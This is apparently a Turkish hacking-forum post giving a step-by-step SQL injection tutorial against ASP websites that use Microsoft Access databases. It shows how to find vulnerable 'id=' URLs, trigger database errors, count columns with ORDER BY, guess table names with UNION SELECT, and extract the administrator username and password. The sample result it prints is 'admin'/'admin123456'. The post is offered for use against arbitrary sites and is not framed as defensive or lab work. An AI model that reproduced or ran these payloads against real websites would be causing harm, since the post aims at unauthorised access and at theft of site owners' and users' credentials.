Risk-Master
Spys-Z
- Katılım
- 5 Ocak 2014
- Mesajlar
- 439
- Tepkime puanı
- 0
- Puanları
- 16
Microsoft Access'de SQL İnjection çoğu zaman ASP diliyle yazılmış sitelerde bulunur.
Microsoft Access'de iş tahmindir arkadaşlar. Deneme/Yanılma Yöntemiyle birçok iş yapılır.
Sitemiz: http://www.siteadi.com olsun.
Bu sitede SQL İnjection için id değeri olan linkler arayacağız.
Bunları nasıl buluruz?
Mesela bir sitenin haber bölümü vardır.
http://www.siteadi.com/news.asp?id=2 gibi
Ya da başka herhangi id ile biten bir kategorisi vardır.
http://www.siteadi.com/home.asp?id=10 gibi.
İşte böyle "id=" değeri olan linkler arayacağız.
Sitenin ekranında İnjection hatası almamız için, Bu linklerin id numarasının arkasına;
- ’ ’a vs. gibi karakterler ekleyeceğiz.
Şu şekilde;
http://www.siteadi.com/home.asp?id=10"
Eğer şöyle bir hata veriyorsa o sitede SQL Injection var demektir.
----------------------------------------
Microsoft JET Database Engine error ’80040e14’
Syntax error in string in query expression ’id = 10";’.
/home.asp, line 7
-------------------------------
Evet SQL Injection olduğunu gördük.
Şimdi ise arkadaşlar İnjection yapmamız için sitenin tablo adını, kolon sayısını, kolon adlarını bilmemiz gerekir.
Access'de iş tahmindir arkadaşlar. Deneme/Yanılma Yöntemiyle birçok iş yapılır.
Şimdi ise kolon sayılarını bulacağız.
Kolon sayılarını bulmak için; order+by fonksiyonunu kullanacağız.
http://www.siteadi.com/home.asp?id=10+order+by+1
order+by+1 dedik ekran aynı ve hiçbir hata da yok?
http://www.siteadi.com/home.asp?id=10+order+by+10 dedik.
Fakat farklı bir ekran hatası var.
Alınan hataya bakalım,
------------------------------------------------
Microsoft JET Database Engine error ’80040e14’
The Microsoft Jet database engine does not recognize ’10’ as a valid field name or expression.
/home.asp, line 7
-----------------------------------------------
Bu hatada kolon sayısının 10'dan düşük olduğunu belirtiyor.
İşte böyle giderek kolon sayısını bulabiliriz.
http://www.siteadi.com/home.asp?id=10+order+by+9 yapalım.
Yine aynı hatayı verdi?
Bu sefer 1 basamak daha düşürüyoruz yine aynı hatayı verdi?
İşte bu hatadan farklı başka birşey çıkarsa o kolon sayısını belirtir.
Yani son durumda;
http://www.siteadi.com/home.asp?id=10+order+by+8 dedik.
ve başka bir ekran çıktı.
İşte bu 8 tane kolonu olduğunu gösterir.
Şimdi kolon sayısını da bulduk ama bir tek table (tablo) adı ve bir de o column (tablo) adına uygun column (kolon) adları kaldı.
Kolon sayılarını yazdık arkadaşlar ve "yonetici" adlı table (tablo) adını ekledik şöyle bir hata aldık?
http://www.siteadi.com/home.asp?id=10+union+select+0,1,2,3,4,5,6,7+from+yonetici
diye girdik ve böyle bir hata aldık;
---------------------------------------
Microsoft JET Database Engine error ’80040e37’
The Microsoft Jet database engine cannot find the input table or query ’yonetici’. Make sure it exists and that its name is spelled correctly.
/yonetici.asp, line 7
--------------------------------------
Hatamız diyor ki;
"yonetici" adında bir tablo bende bulunmuyor.
O zaman başka tablo adları deneyeceğiz.
Haberler nerede barınır? (news, haber, haberler,... tablosunda barınır.)
Kullanıcı adları ve şifreler nerede barınır? (users, user, admin, admins, kullanicilar,... tablosunda gibi.)
Yukarıdaki parantezler içinde örnek verdiğim table (tablo)'lardan birisini deneyelim.
http://www.siteadi.com/part.asp?id=10+union+select+0,1,2,3,4,5,6,7+from+users
Denedik girdik ve;
Ve gördüğünüz gibi kolon sayıları ekrana yansıdı. Bu da demek oluyor ki uygun bir table (tablo) adını seçtik ve şifrelerin barındığı bir table (tablo) adı bulduk.
Şimdi ise ekrana vuran kolon sayısının yerine, kolon adı yazarak admin ve şifresini almak kaldı.
Mesela genellikle kolon adları bu isimler de olur;
username, password, user, pass,... gibi (Tabi bu her tablo adına göre değişir, Türkçe kolon adları da olabilir.)
kullanıcıadi, parola, kullanici, sifre vs. gibi (Kolon adları bu isimlerde olabilir.)
Kolon adlarına yani 1'e "admin", 2'ye de "pass" yazdık ve girdik.
Yani şöyle;
http://www.siteadi.com/part.asp?id=10+union+select+0,admin,pass,3,4,5,6,7+from+users
ve işte gördüğünüz gibi yönetici adı ve şifresi çıktı.
Kullanıcı Adı (Username): admin
Şifre (Password): admin123456
Üstteki yönetici adı ("admin" isimli kolon oluyor.)
Alttaki de şifresi ("pass" isimli kolon adı oluyor.)
Not: Microsoft Access'de yöntem olarak işimiz tahmindir. Yani Deneme/Yanılma Yöntemiyle yapılmaktadır.